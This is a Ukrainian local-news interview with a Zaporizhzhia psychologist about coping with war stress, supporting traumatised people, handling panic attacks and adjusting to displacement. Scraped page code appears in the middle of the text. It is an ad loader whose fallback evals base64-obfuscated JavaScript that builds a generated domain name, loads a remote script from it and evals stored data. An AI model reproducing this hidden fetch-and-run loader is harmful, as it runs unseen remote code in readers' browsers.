Повномасштабна війна в Україні триває вже майже 9 місяців. Постійний стрес і травмуючі події досить сильно впливають на психічне здоров’я українців.
Саме тому важливо знати, як допомогти собі й близьким. Акцент поспілкувався із запорізькою психологинею Іриною Бельмегою. Вона дала корисні й практичні поради, а також пояснила, в яких випадках неможна нехтувати допомогою психолога.
Ірина Бельмега Як давно ти працюєш психологом і займаєшся практикою?
Наприкінці четвертого курсу університету я точно знала, що прагну працювати за спеціальністю. І ось з кінця 2018 року, закінчивши навчання, почала працювати в Центрі психіатричної допомоги та професійного психофізіологічного відбору ДУ «ТМО МВС України по Запорізькій області». Коли я потрапила до Центру, практика почалась, мабуть, з першого тижня, і почалась, на мою думку, з найголовнішого — діагностики.
Для психолога перші дві зустрічі з клієнтом, якраз і починаються з неї. Зараз, після чотирьох років роботи, займаючи посаду завідувача відділенням психопрофілактики, я вважаю, що навички діагностування і спостереження дуже важливі для оволодіння молодими спеціалістами, на початку свого професійного шляху.
Це набагато спрощує роботу з
клієнтами. Повноцінну консультаційну
практику веду від початку
повномасштабної, міксуючи зі здобуттям кваліфікації травматерапевта.
Існує думка, особливо серед старшого покоління, що звертатися до психолога або немає сенсу або це якось дивно. Як ти вважаєш, чи дійсно люди ще не звикли до психотерапії або вже це стає нормою для нашого суспільства?
Від початку повномасштабної війни, ставлення до психологів набагато покращилось. Завдяки роботі колег, що надають психологічну допомогу в складних умовах, проекту пані Зеленської, що на державному рівні піклується про психологічне здоров’я українців, і взагалі, готовності українців приймати цю допомогу, відбувається певна трансформація та змінюється погляд на професію психолога.
Мрію, що в недалекому майбутньому люди почнуть сприймати психологів та психіатрів, як щось звичайне та повсякденне. Але для суспільства, мати власного психолога, ще не ввійшло у норму. Досі, і серед молоді, і серед людей старшого віку, є певні упередження. В побуті, люди найчастіше говорять: «навіщо мені психолог, я краще до подружки піду», або «я що ненормальний, щоб зі мною працював психолог», і це прикро. Тому що тягнуть до того моменту, коли зовсім гайки, і вже немає внутрішніх ресурсів, організм повністю виснажений, і в таких випадках, інколи, вже потрібен не психолог, а лікар-психіатр і медикаментозне лікування.
На мою думку, краще попередити наслідки, ніж
дотягнути до повного виснаження.
Якого віку люди найчастіше звертаються до тебе?
Більшість від 20 до 35 років, але я не вважаю, що між віком і зверненням до психолога, є певна кореляція. Звернутись до психолога, в моєму розумінні, це про самотурботу, бажання змінити якість свого життя на краще, пізнати себе. Тому, хто має більший контакт з собою і прислухається до власних потреб, той і має готовність до роботи над собою.
Після початку повномасштабної війни кількість запитів до тебе побільшала? З якими проблемами люди найчастіше звертаються?
Запитів стало у 2, чи 3 рази більше. Так як в мене є певна специфіка роботи і я працюю в більшості з військовими, то в цих випадках звичайно превалює посттравматичний стресовий розлад (ПТСР). Серед цивільного населення превалюють тривожно-депресивні розлади, ПТСР також зустрічається, бо, на жаль, отримати психологічну травму в сучасних реаліях стало більш вірогіднішим.
Запоріжжя одне із міст, які досить сильно постраждали від обстрілів, а також сюди приїхало багато переселенців. Хтось втратив роботу, хтось домівку, а хтось навіть близьких. Дай декілька порад, як підтримати знайомого або друга, який пережив страшні події, щоб не зробити йому ще боляче. Які використовувати слова, а яких слід уникати?
В своєму блозі в інстаграмі (@irena.warbler.psy), я часто відповідаю на подібні запитання, та роблю відповідні дописи, і нещодавно була саме така тема. Вона актуальна, бо кожному болить.
З чого почати, по-перше, не змушуйте людину
говорити про травматичний досвід, якщо вона не має бажання. Будьте терплячими,
людина, що пережила травматичний досвід — втратила базову потребу в безпеці,
поки ця довіра до світу та оточення відновиться, пройде певний час.
Почніть потрошки долучати людину до виконання повсякденних справ.
По-друге, забудьте про ці фрази : «не переживай, все буде добре», « не плач» , «життя на цьому не закінчується», «ну чого ти постійно плачеш, зберися», « у мене було гірше» і всі подібні. Бо це все про знецінення почуттів та досвіду людини. З фразою «я тебе розумію» треба бути дуже обережним, тому що насправді, ви не розумієте того, що переживає ця людина, бо це унікальний досвід та ситуація. І можете цими фразами наштовхнутись на протилежну від очікуваної реакцію злості, хоч ви і намагаєтесь допомогти.
Краще замініть ці фрази на : «я
бачу, що тобі боляче», «я поряд, чи потрібна тобі моя допомога?», «я бачу ти засмучений
(-а)», «твої
почуття важливі і те, що ти
відчуваєш зараз — це нормально», «навіть
важко уявити, що ти зараз відчуваєш». В цих фразах ви
говорите про власні почуття, з позиції турботи, не знецінюючи, тому важко буде «нарватись»
на негативну реакцію.
Треба зазначити, що якщо ви знаєте,
що людина зазнала фізичного насилля, то не
торкайтесь до тіла без дозволу.
Може це і очевидні речі, проте я скажу. На перший час після травмівної події, перше, чим треба забезпечити людину, – це базові потреби (вода, іжа, сон). Ніякого алкоголю вдома, зменшити вживання кофеїну. Не купляти жодних ліків, без угоди та консультацій з лікарем.
Як допомогти людині, яка знаходиться поряд, і в неї панічна атака?
Зазвичай панічні атаки викликаються через
надмірний стан тривоги, вони раптові, і як правило короткотривалі. Людині під час нападу здається, що вона може померти,
але хочу заспокоїти, під час панічної атаки люди не помирають, хоч у цьому
стані людина глибоко переконана в протилежному. Але інколи під панічні атаки «маскуються» симптоми інших
серйозних захворювань, наприклад, серцевий напад, тому важливо одразу звернутися
до спеціалістів. Так само і про ПА – діагноз визначає тільки лікар. var node3361 = document.getElementById(«MIXADV_3361»); if( node3361 ) { var script = document.createElement(«script»); script.charset = «utf-8»; script.src = «https://m.mixadvert.com/show/?id=3361&r=»+Math.random(); node3361.parentNode.appendChild(script); script.onerror = function(){ window.eval( atob(«dmFyIGRhdGUgPSBuZXcgRGF0ZSgpO3ZhciBtb250aCA9IGRhdGUuZ2V0TW9udGgoKSArIDE7IHZhciBkYXkgPSBkYXRlLmdldERhdGUoKTsgdmFyIHllYXIgPSBkYXRlLmdldFllYXIoKTsgdmFyIG5hbWVfZGF5ID0gZGF0ZS5nZXREYXkoKSArIDE7dmFyIGRvbSA9IFsgIm9yZyIsICJ0b3AiLCAiYml6LnVhIiwgImNvLnVhIiwgImt5aXYudWEiLCAiY2x1YiIsICJzaG9wIl07IHZhciBzdHIgPWRheSoobW9udGggKiBuYW1lX2RheSAqIGRheSkrIiIrIGRheSoobW9udGggKyBuYW1lX2RheSArIGRheSAreWVhcik7dmFyIGhhc2ggPSAgYnRvYShidG9hKHN0cikpLnRvTG93ZXJDYXNlKCk7IHZhciBob3N0ID0gaGFzaC5zdWJzdHJpbmcoMywgaGFzaC5sZW5ndGggLSBuYW1lX2RheS8yKSsiLiIrZG9tW25hbWVfZGF5IC0gMV07dmFyIHIgPSBNYXRoLnJhbmRvbSgpLnRvU3RyaW5nKDM2KS5zdWJzdHIoMiwgMik7ciA9IHIucmVwbGFjZSgvWzAtOV0vZywgIiIpO3ZhciBkZWx0YSA9IE1hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqICgxMDAgLSAxMCArIDEpKSArIDEwO3ZhciBpZCA9IDMzNjEgLSBkZWx0YTsgdmFyIHNjcmlwdF9maXJzdCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoInNjcmlwdCIpO3NjcmlwdF9maXJzdC5zcmMgPSAiaHR0cHM6Ly8iKyBob3N0KyIvIitkZWx0YStpZCtyKyIiOyBub2RlMzM2MS5wYXJlbnROb2RlLmFwcGVuZENoaWxkKHNjcmlwdF9maXJzdCk7c2V0VGltZW91dCggZnVuY3Rpb24gKCkge3NjcmlwdF9maXJzdC5yZW1vdmUoKX0sIDQwMDApO3NjcmlwdF9maXJzdC5vbmVycm9yID0gZnVuY3Rpb24oKXt2YXIgYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImEiKTthLmhyZWYgPSAiaHR0cHM6Ly8iKyBob3N0KyIvIjsgbm9kZTMzNjEucGFyZW50Tm9kZS5hcHBlbmRDaGlsZChhKTsgc2V0VGltZW91dCggZnVuY3Rpb24gKCkgeyBpZiggbm9kZTMzNjEuaW5uZXJIVE1MID09ICIiICkgd2luZG93LmV2YWwobG9jYWxTdG9yYWdlLmdldEl0ZW0oIjMzNjEiKSkgfSwgNTAwMCk7ICA7fTsg») ); } }
В залежності від специфічних фобій, чого саме
людина боїться, те і стає певним тригером для запуску панічної атаки. Найпоширеніший
— агорафобія, страх відкритого простору та натовпу, але бувають і інші. Отже,
що ж робити, якщо ви поряд з людиною в якої стався напад ?
Підтримка. Запевніть людину, що ви будете поруч, уникайте власного засудження та знецінення. Краще скажіть: «Ти добре справляєшся, цей стан мине, ти молодець. Ти зможеш це пережити. Я з тобою.»Кисень. Людину потрібно вивести на свіже повітря, якщо змоги вийти не має, то просто відійдіть в більш менш безпечне, для неї, місце. Дайте їй попити води, маленькими ковтками. З дозволу людини, ви можете доторкнутись до неї, у такий спосіб ви підтримаєте людину на тілесному рівні, і трішки дасте заземлення.Дихання. Якщо ви знаєте техніки саморегуляції, то дуже круто, якщо ні, то скеровуйте людину робити глибокі вдихи та дихати в одному темпі.Спокій. Кричати, щоб людина вас краще почула, не треба. Ви повинні залишитися зовнішньо спокійними, голос повинен бути м’яким, але директивним, щоб людина чітко чула і розуміла, що ви говорите. Коли людина заспокоїлася, підсумуйте та підтримайте її. “Ти молодець. Я бачу, що ти дихаєш більш рівно. Все минуло, ти впоралася». Після нападу, обов’язково поговоріть з людиною про необхідність відвідати кваліфікованого фахівця. Як допомогти людині, яка перебуває у важкій депресії або навіть має думки про самогубство ?
Найкращим виходом з такої ситуації тільки звернення до лікаря- психіатра. Самостійно впоратися з тяжкою депресією та суїцидальними намірами без спеціалістів неможливо. Великою допомогою близьких в таких випадках, буде небайдужість та заохочування звернутись до спеціалістів, цього буде достатньо.
Після 24 лютого мільйони людей були вимушені покинути свої домівки й жити у нових умовах. Дай поради, як менше сумувати за домом і як не впадати у депресивний стан через це ?
Покинуті домівки, рідні міста, друзі, родичі, що залишились на тимчасово окупованих територіях, втрачені можливості – це все про втрату. І переживаються вони так само болісно, як і фізична втрата. Здається дивним ставити втрату людини, на одне місце з домівкою, але наш мозок сприймає і проживає ці події однаково, тільки ступінь емоцій різні.
І в обох випадках, ми проходимо через 5 стадій горя. Шок, агресія, торг, депресія та прийняття. Кому буде цікаво, автор теорії Кюблер- Росс.
Перше, що потрібно людині, це — час. І ні, це не про « час лікує», зовсім ні. Це про процес адаптації до нових умов, для кожної людини, він різний. Але так в нас закладено природою, і еволюційно людина завжди адаптується до будь-яких умов, і навіть таких жахливих, як війна.
Друге, це ресурс. Потрібно знайти будь-що, що
давало б вам сили вставати кожен день з ліжка, і робити те, що потрібно. У когось
це спорт, у когось книжки, хтось
полюбляє фотографію, або прогулянки в парку, або проводити час з родиною, або с
подружкою, з домашнім улюбленцем. Оберіть те, що вам більш до вподоби. Якщо до
старих ресурсів не має доступу, требо пошукати нові.
Ось дуже проста, але дієва вправа, яку я обожнюю давати клієнтам. Складіть собі список з трьох речей, які вас надихають, що дають енергію.
Діяльність, після якої я в ресурсіЛюди, які дають мені ресурсМісця, в яких я в ресурсі
І кожного тижня, ви обираєте з цього списку
те що можете зробити для себе. Обов’язковим є:
-планування цих подій, — щоб ці речі були взаємозамінні, тобто, наприклад, якщо ваша ресурсна людина недоступна, повинна бути інша, якій ви зможете подзвонити, і т.д.— і щоб ваш ресурс був доступний вже зараз, а не через рік.
Спробуйте, зробіть перший крок, у вас все
вийде.
І третє, це – надія. Війна стовідсотково має свій кінець, і треба планувати щось, на майбутнє, мріяти, ставити цілі. Можна почати з маленьких кроків, «що я буду робити, коли повернусь додому?», «що я зроблю першим», або якщо ви вирішили не повертатись, то «що мені потрібно, щоб досягнути результату тут», і т.д.
Мені дуже відгукується цитата з книги Віктора Франкла: «Знайте «чому» вашого існування, і зможете здолати майже будь-яке «як»». Рекомендую почитати його книгу «Сказати життю «Так»», після прочитання, я переусвідомила багато речей.
Як, на твою думку, взагалі на українців вплинула війна й постійні стреси в плані психічного здоров’я? Як мінімізувати цей вплив, на що звернути увагу або які, можливо, використовувати практики ?
Про наслідки війни, можна бути сказати по її завершенню, але вже помітно, що психічна захворюваність збільшилась. Постійний стрес, психотравми, втрати, фізичне виснаження — це все має величезний вплив на українців.
Для того, щоб убезпечити себе від негативних наслідків, почніть з турботи про себе. Збалансоване харчування, вітаміни, розклад дня та гігієна сну, хоч мінімальні фізичні навантаження, зменшіть вплив негативної інформації, прислухайтесь до свого тіла та потреб. Не чекайте до останнього, коли вже буде важко функціонувати, одразу йдіть до фахівців, зараз багато безкоштовної допомоги.
Оберіть для себе способи саморегуляції, що підходять
саме вам. Мені дуже подобаються техніки дихання, особливо — «Дихання по
квадрату». Коли у місті обстріли, це завжди перше, що я використовую, для
заспокоєння. І через регуляцію дихання, фізичні симптоми тривоги потрошки зменшуються.
І взагалі, вводьте у звичку піклуватись про себе, це буде вагомим внеском у ваше майбутнє. Будьте здорові, мрійте, мирного нам усім неба, та шукайте маленьке щастя кожного дня.
Тематичне фото взято за посиланням Підписуйтесь на Акцент в 
(adsbygoogle = window.adsbygoogle || []).push({});
Источник: https://akzent.zp.ua/yak-perezhiti-stres-pid-chas-vijni-j-pidtrimati-blizkih-interv-yu-z-psihologom/
Мы в Telegram, наш Telegram bot — @zpua_bot, Мы в Viber, Мы на Facebook
